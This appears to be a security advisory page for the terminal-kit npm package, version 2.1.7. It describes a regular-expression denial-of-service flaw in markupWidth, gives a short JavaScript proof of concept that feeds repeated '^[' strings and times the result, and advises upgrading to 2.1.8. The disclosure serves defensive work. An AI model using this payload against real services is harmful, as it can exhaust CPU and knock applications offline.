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terminal-kit@2.1.7 vulnerabilities

256 colors, keys and mouse, input field, progress bars, screen buffer (including 32-bit composition and image loading), text buffer, and many more... Whether you just need colors and styles, build a simple interactive command line tool or a complexe termi

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Direct Vulnerabilities

Known vulnerabilities in the terminal-kit package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

terminal-kit is a full-blown terminal lib featuring: 256 colors, styles, keys & mouse handling, input field, progress bars, screen buffer (including 32-bit composition and image loading), text buffer, and much more.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via markupWidth.

PoC

var termkit = require("terminal-kit");

for(var i = 1; i < 1000; i=i*2) {
    var start_ts = Date.now();
    var payload = "^[".repeat(i*1000);
    termkit.markupWidth(payload);
    var time_cost = Date.now() - start_ts;
    console.log("payload length: " + payload.length + " - duration: " + time_cost + "ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade terminal-kit to version 2.1.8 or higher.

<2.1.8
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